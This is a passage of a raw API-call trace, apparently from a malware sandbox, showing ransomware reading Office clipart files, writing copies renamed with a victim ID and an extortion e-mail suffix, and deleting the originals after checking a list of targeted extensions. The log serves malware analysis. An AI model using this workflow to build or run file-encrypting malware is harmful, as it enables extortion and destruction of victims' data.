(lpString1=".dbf", lpString2=".WMF") returned -1 [0142.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0142.132] lstrlenW (lpString=".1cd") returned 4 [0142.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0142.132] lstrlenW (lpString=".jpg") returned 4 [0142.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.132] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.132] lstrlenW (lpString="EN00202_.WMF") returned 12 [0142.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.169] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=6938) returned 1 [0142.169] CloseHandle (hObject=0x1e4) returned 1 [0142.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 0x20 [0142.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0143.001] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.001] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0143.001] GetLastError () returned 0x0 [0143.001] ReadFile (in: hFile=0x314, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1b1a, lpOverlapped=0x0) returned 1 [0143.003] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0143.004] ReadFile (in: hFile=0x314, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.004] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.004] SetEndOfFile (hFile=0x3b4) returned 1 [0143.004] CloseHandle (hObject=0x3b4) returned 1 [0143.004] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.004] SetEndOfFile (hFile=0x314) returned 1 [0143.009] CloseHandle (hObject=0x314) returned 1 [0143.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0143.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0143.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0143.012] lstrlenW (lpString=".doc") returned 4 [0143.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.012] lstrlenW (lpString=".docx") returned 5 [0143.012] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.012] lstrlenW (lpString=".pdf") returned 4 [0143.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.012] lstrlenW (lpString=".xls") returned 4 [0143.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.012] lstrlenW (lpString=".xlsx") returned 5 [0143.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.012] lstrlenW (lpString=".ppt") returned 4 [0143.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0143.012] lstrlenW (lpString=".zip") returned 4 [0143.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.012] lstrlenW (lpString=".rar") returned 4 [0143.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.012] lstrlenW (lpString=".bz2") returned 4 [0143.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.012] lstrlenW (lpString=".7z") returned 3 [0143.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0143.012] lstrlenW (lpString=".dbf") returned 4 [0143.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0143.012] lstrlenW (lpString=".1cd") returned 4 [0143.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0143.012] lstrlenW (lpString=".jpg") returned 4 [0143.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0143.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0143.013] lstrlenW (lpString=".doc") returned 4 [0143.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.013] lstrlenW (lpString=".docx") returned 5 [0143.013] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.013] lstrlenW (lpString=".pdf") returned 4 [0143.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.013] lstrlenW (lpString=".xls") returned 4 [0143.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.013] lstrlenW (lpString=".xlsx") returned 5 [0143.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.013] lstrlenW (lpString=".ppt") returned 4 [0143.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0143.013] lstrlenW (lpString=".zip") returned 4 [0143.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.013] lstrlenW (lpString=".rar") returned 4 [0143.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.013] lstrlenW (lpString=".bz2") returned 4 [0143.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.013] lstrlenW (lpString=".7z") returned 3 [0143.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0143.013] lstrlenW (lpString=".dbf") returned 4 [0143.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0143.013] lstrlenW (lpString=".1cd") returned 4 [0143.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0143.013] lstrlenW (lpString=".jpg") returned 4 [0143.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.013] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.013] lstrlenW (lpString="FD00086_.WMF") returned 12 [0143.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0143.014] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=29212) returned 1 [0143.014] CloseHandle (hObject=0x314) returned 1 [0143.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x20 [0143.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0143.015] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.015] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0143.016] GetLastError () returned 0x0 [0143.016] ReadFile (in: hFile=0x314, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x721c, lpOverlapped=0x0) returned 1 [0143.018] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7220, lpOverlapped=0x0) returned 1 [0143.019] ReadFile (in: hFile=0x314, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.019] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.019] SetEndOfFile (hFile=0x3b4) returned 1 [0143.020] CloseHandle (hObject=0x3b4) returned 1 [0143.020] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.020] SetEndOfFile (hFile=0x314) returned 1 [0143.022] CloseHandle (hObject=0x314) returned 1 [0143.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0143.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0143.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0143.023] lstrlenW (lpString=".doc") returned 4 [0143.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.023] lstrlenW (lpString=".docx") returned 5 [0143.023] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.023] lstrlenW (lpString=".pdf") returned 4 [0143.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.023] lstrlenW (lpString=".xls") returned 4 [0143.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.023] lstrlenW (lpString=".xlsx") returned 5 [0143.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.023] lstrlenW (lpString=".ppt") returned 4 [0143.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0143.024] lstrlenW (lpString=".zip") returned 4 [0143.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.024] lstrlenW (lpString=".rar") returned 4 [0143.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString=".bz2") returned 4 [0143.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString=".7z") returned 3 [0143.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0143.024] lstrlenW (lpString=".dbf") returned 4 [0143.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0143.024] lstrlenW (lpString=".1cd") returned 4 [0143.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0143.024] lstrlenW (lpString=".jpg") returned 4 [0143.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0143.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0143.024] lstrlenW (lpString=".doc") returned 4 [0143.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString=".docx") returned 5 [0143.024] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.024] lstrlenW (lpString=".pdf") returned 4 [0143.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString=".xls") returned 4 [0143.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.024] lstrlenW (lpString=".xlsx") returned 5 [0143.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.024] lstrlenW (lpString=".ppt") returned 4 [0143.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0143.024] lstrlenW (lpString=".zip") returned 4 [0143.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.024] lstrlenW (lpString=".rar") returned 4 [0143.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString=".bz2") returned 4 [0143.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.025] lstrlenW (lpString=".7z") returned 3 [0143.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0143.025] lstrlenW (lpString=".dbf") returned 4 [0143.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0143.025] lstrlenW (lpString=".1cd") returned 4 [0143.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0143.025] lstrlenW (lpString=".jpg") returned 4 [0143.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.025] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.025] lstrlenW (lpString="FD00090_.WMF") returned 12 [0143.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0143.026] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=14194) returned 1 [0143.026] CloseHandle (hObject=0x314) returned 1 [0143.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x20 [0143.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0143.026] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.026] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0143.027] GetLastError () returned 0x0 [0143.027] ReadFile (in: hFile=0x314, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x3772, lpOverlapped=0x0) returned 1 [0143.028] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3780, lpOverlapped=0x0) returned 1 [0143.029] ReadFile (in: hFile=0x314, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.029] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.030] SetEndOfFile (hFile=0x3b4) returned 1 [0143.030] CloseHandle (hObject=0x3b4) returned 1 [0143.030] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.030] SetEndOfFile (hFile=0x314) returned 1 [0143.032] CloseHandle (hObject=0x314) returned 1 [0143.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0143.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0143.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0143.033] lstrlenW (lpString=".doc") returned 4 [0143.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.033] lstrlenW (lpString=".docx") returned 5 [0143.033] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.033] lstrlenW (lpString=".pdf") returned 4 [0143.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.033] lstrlenW (lpString=".xls") returned 4 [0143.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.033] lstrlenW (lpString=".xlsx") returned 5 [0143.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.033] lstrlenW (lpString=".ppt") returned 4 [0143.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0143.034] lstrlenW (lpString=".zip") returned 4 [0143.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.034] lstrlenW (lpString=".rar") returned 4 [0143.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.034] lstrlenW (lpString=".bz2") returned 4 [0143.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.034] lstrlenW (lpString=".7z") returned 3 [0143.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0143.034] lstrlenW (lpString=".dbf") returned 4 [0143.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0143.034] lstrlenW (lpString=".1cd") returned 4 [0143.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0143.034] lstrlenW (lpString=".jpg") returned 4 [0143.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0143.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0143.034] lstrlenW (lpString=".doc") returned 4 [0143.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.034] lstrlenW (lpString=".docx") returned 5 [0143.034] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.034] lstrlenW (lpString=".pdf") returned 4 [0143.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.034] lstrlenW (lpString=".xls") returned 4 [0143.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.034] lstrlenW (lpString=".xlsx") returned 5 [0143.034] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.034] lstrlenW (lpString=".ppt") returned 4 [0143.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0143.034] lstrlenW (lpString=".zip") returned 4 [0143.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.035] lstrlenW (lpString=".rar") returned 4 [0143.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.035] lstrlenW (lpString=".bz2") returned 4 [0143.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.035] lstrlenW (lpString=".7z") returned 3 [0143.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0143.035] lstrlenW (lpString=".dbf") returned 4 [0143.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0143.035] lstrlenW (lpString=".1cd") returned 4 [0143.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0143.035] lstrlenW (lpString=".jpg") returned 4 [0143.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.035] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.035] lstrlenW (lpString="FD00096_.WMF") returned 12 [0143.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 